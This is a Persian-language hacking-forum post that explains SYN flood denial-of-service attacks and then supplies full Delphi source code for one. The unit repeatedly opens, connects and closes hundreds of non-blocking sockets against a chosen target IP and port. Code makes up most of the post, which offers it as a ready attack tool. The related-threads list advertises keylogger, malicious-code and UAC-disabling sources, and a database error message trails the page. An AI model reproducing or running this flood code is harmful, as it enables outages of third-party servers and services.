• 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
سورس کد حمله SYN Flood (دلفی)
#1
در این روش بسیار متداول، حمله‌کننده تعداد زیادی بسته TCP حاوی SYN ارسال می‌کند که به معنای تقاضای شروع ارتباط است، در این صورت گیرنده بسته (هدف حمله کننده) با توجه به درخواست ارتباطی را شروع کرده و در انتظار دریافت ادامه درخواست می‌ماند و چون ادامه درخواست از طریق حمله‌کننده ارسال نمی‌شود، سرور مورد نظر برای مدتی ارتباط را در خود نگه می‌دارد که تعداد زیاد این روند باعث استفاده زیاد از پهنای باند، RAM و CPU سرور مورد نظر شده و توانایی پاسخ به سایر درخواست‌ها را نخواهد داشت.

سورس کد syn flood به زبان دلفی:

Code:
unit synflood;
interface
uses
  winsock,
  windows;
type
    Tssyn = Record
    TargetIP        :string;
    TargetPort      :integer;
    len             :integer;
    end;
var
  ddos :Tssyn;
  ssynthread :Thandle;
procedure SendSuperSyn;
const
  SUPERSYN_SOCKETS = 200;
implementation
procedure SendSuperSyn;
var
  superdelay: integer;
  SockAddr: SOCKADDR_IN;
  sock: array [0..SUPERSYN_SOCKETS] of Tsocket;
  iaddr: IN_ADDR;
  mode: integer;
  c,i: integer;
begin
superdelay := 100;
SockAddr.sin_family := AF_INET;
SockAddr.sin_port := htons(ddos.TargetPort);
iaddr.s_addr := INET_ADDR(pchar(ddos.TargetIP));
SockAddr.sin_addr := iaddr; //ip addy
i := 0;
mode := 1;
  while (i < ddos.len) do
  begin
    for c := 0 to SUPERSYN_SOCKETS do begin
            sock[c] := socket(AF_INET, SOCK_STREAM, 0);
               if (sock[c] = INVALID_SOCKET) then
                      continue;
            ioctlsocket(sock[c],FIONBIO,mode);
    end;
    for c := 0 to SUPERSYN_SOCKETS do
              connect(sock[c], SockAddr, sizeof(SockAddr));
        Sleep(superdelay);
    for c := 0 to SUPERSYN_SOCKETS do
            closesocket(sock[c]); //close sockets
   i := i + 1;
  end;
Suspendthread(ssynthread);
ExitThread(0);
end;
end.
  Reply


Possibly Related Threads...
Thread Author Replies Views Last Post
  سورس کد یک کیلاگر ساده ولی قوی (سی ) Amin_Mansouri 6 14,251 06-17-2014، 04:52 PM
Last Post: محمدعلی
  مجموعه سورس کدهای مخرب (دلفی ) Amin_Mansouri 1 6,885 11-09-2013، 09:49 PM
Last Post: dosibb
  مجموعه سورس کدهای مخرب (سی پلاس پلاس) Amin_Mansouri 0 5,957 01-29-2013، 02:49 PM
Last Post: Amin_Mansouri
  سورس کد اف تی پی کیلاگر Amin_Mansouri 0 4,130 09-17-2012، 07:12 PM
Last Post: Amin_Mansouri
  سورس کد ddos به زبان دلفی Amin_Mansouri 0 4,519 09-09-2012، 01:17 PM
Last Post: Amin_Mansouri
  سورس کد کیلاگر (سی شارپ) Amin_Mansouri 3 12,438 05-27-2012، 10:44 PM
Last Post: Ghoghnus
  سورس غیر فعال کردن تسک منیجر (سی پلاس پلاس) Amin_Mansouri 0 4,247 01-10-2012، 11:45 PM
Last Post: Amin_Mansouri
  درخواست سورس کد کی‌ لاگر newcoder 4 11,810 12-30-2011، 09:19 PM
Last Post: Ghoghnus
  سورس غیر فعال کردن uac با سی شارپ Amin_Mansouri 0 4,373 10-18-2011، 08:52 PM
Last Post: Amin_Mansouri

Forum Jump:


Users browsing this thread: 1 Guest(s)

MyBB SQL Error

MyBB has experienced an internal SQL error and cannot continue.

SQL Error:
1017 - Can't find file: './pxramin_parsii/mybb_threadviews.MYI' (errno: 2 "No such file or directory")
Query:
INSERT INTO mybb_threadviews (tid) VALUES('2762')